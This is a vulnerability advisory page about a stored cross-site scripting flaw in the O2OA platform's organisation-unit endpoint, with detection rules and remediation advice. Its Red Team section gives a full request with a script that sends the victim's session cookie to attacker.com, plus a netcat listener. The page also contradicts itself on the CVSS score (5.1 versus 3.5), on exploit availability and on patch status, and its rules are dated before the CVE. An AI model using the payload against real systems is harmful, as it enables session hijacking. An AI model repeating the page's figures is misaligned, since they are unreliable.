☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9717

CVE-2025-9717 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-31 05:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9717 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw exists in the Personal Profile Page component, specifically within the file /x_organization_assemble_control/jaxrs/unit/. An authenticated attacker can inject malicious scripts via the name, shortName, distinguishedName, pinyin, pinyinInitial, or levelName parameters. When an administrator or other user views the affected profile page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or further internal attacks. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and user interaction, but the public availability of exploit code increases the risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is launched remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) - The attacker must have a valid user account.
  • User Interaction (UI): Required (R) - The victim must view the malicious profile page.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) - Limited information disclosure is possible.
  • Integrity (I): Low (L) - Limited modification of data is possible.
  • Availability (A): None (N) - No impact on system availability.

Threat Level: Low. The requirement for authentication and user interaction significantly reduces the likelihood of widespread exploitation. However, the public availability of exploit code and the potential for targeted attacks against internal users warrants attention.

Deep Dive & Mechanics

The vulnerability resides in the O2OA organization assembly control module. The endpoint /x_organization_assemble_control/jaxrs/unit/ is used to manage organizational units (e.g., departments, teams). When a user updates their profile, the application fails to properly sanitize user-supplied input in the name, shortName, distinguishedName, pinyin, pinyinInitial, and levelName fields before storing it in the database. When an administrator or another user views the profile page, the stored malicious data is rendered in the browser without proper encoding, allowing the injected JavaScript to execute.

The attack flow:

  1. Attacker logs in with a valid account.
  2. Attacker sends a POST/PUT request to /x_organization_assemble_control/jaxrs/unit/ with a malicious payload in one of the vulnerable parameters (e.g., name=<script>alert('XSS')</script>).
  3. The server stores the malicious data in the database.
  4. An administrator or other user navigates to the profile page of the attacker.
  5. The browser renders the malicious script, executing it in the context of the victim's session.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// O2OA vulnerable endpoint
@POST
@Path("unit")
public Response createUnit(UnitData data) {
    Unit unit = new Unit();
    unit.setName(data.getName()); // No sanitization
    unit.setShortName(data.getShortName()); // No sanitization
    // ... other fields
    unitDao.save(unit);
    return Response.ok().build();
}

Patched Code (Conceptual):

// O2OA patched endpoint
import org.owasp.encoder.Encode;

@POST
@Path("unit")
public Response createUnit(UnitData data) {
    Unit unit = new Unit();
    unit.setName(Encode.forHtml(data.getName())); // HTML encoding
    unit.setShortName(Encode.forHtml(data.getShortName())); // HTML encoding
    // ... other fields
    unitDao.save(unit);
    return Response.ok().build();
}

The patched version uses output encoding (e.g., OWASP Encoder) to neutralize HTML/JavaScript before storage or rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of O2OA version <= 10.0-410.
  • Valid user credentials (e.g., user1 / password123).

Exploitation Steps:

  1. Log in to O2OA as a regular user.
  2. Intercept the profile update request using a proxy like Burp Suite.
  3. Modify the name parameter to include a malicious payload:
    POST /x_organization_assemble_control/jaxrs/unit/ HTTP/1.1
    Host: target-o2oa.com
    Cookie: JSESSIONID=...
    Content-Type: application/json
    
    {
      "name": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>",
      "shortName": "test",
      "distinguishedName": "test",
      "pinyin": "test",
      "pinyinInitial": "test",
      "levelName": "test"
    }
    
  4. Send the request. The malicious script is now stored.
  5. Craft a link or social engineering message to trick an administrator into viewing the attacker's profile page.
  6. When the admin views the profile, the script executes, sending their session cookie to the attacker's server.

Lab Setup:

  • Use Docker to deploy a vulnerable O2OA instance:
    docker run -d -p 8080:8080 o2oa/o2oa:10.0-410
    
  • Set up a listener to capture exfiltrated data:
    nc -lvnp 4444
    

Blue Team

Detection:

  • Monitor for unusual characters in profile fields (e.g., <script>, onerror=, javascript:).
  • Alert on requests to /x_organization_assemble_control/jaxrs/unit/ with suspicious payloads.
  • Use WAF rules to block common XSS patterns.

Mitigation:

  • Immediately upgrade to O2OA version > 10.0-410.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Enforce input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /x_organization_assemble_control/jaxrs/unit/ containing <script> tags or event handlers.
    • Outbound connections to unknown domains from O2OA server (data exfiltration).
  • File IOCs:
    • Log entries showing unusual characters in name, shortName, distinguishedName, pinyin, pinyinInitial, or levelName fields.
  • Behavioral IOCs:
    • Unexpected JavaScript execution in the context of O2OA profile pages.
    • Session cookies being sent to external servers.

Detection Engineering

YARA Rule

rule CVE_2025_9717_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting O2OA profile fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9717"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: O2OA Stored XSS via Profile Fields
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-9717 by injecting XSS payloads into O2OA profile fields.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: o2oa
detection:
    selection:
        http.method: 'POST'
        http.url: '/x_organization_assemble_control/jaxrs/unit/'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in profile fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9717 O2OA Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/x_organization_assemble_control/jaxrs/unit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade O2OA to version > 10.0-410. The vendor has released a patch.
  2. If immediate upgrade is not possible, implement a WAF rule to block requests containing <script> tags in the vulnerable parameters.
  3. Review and sanitize all existing profile data for stored XSS payloads.

Long-term Measures:

  • Adopt a security development lifecycle (SDL) that includes input validation and output encoding.
  • Conduct regular security audits and penetration testing.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Educate users about the risks of clicking on suspicious links.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9717/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.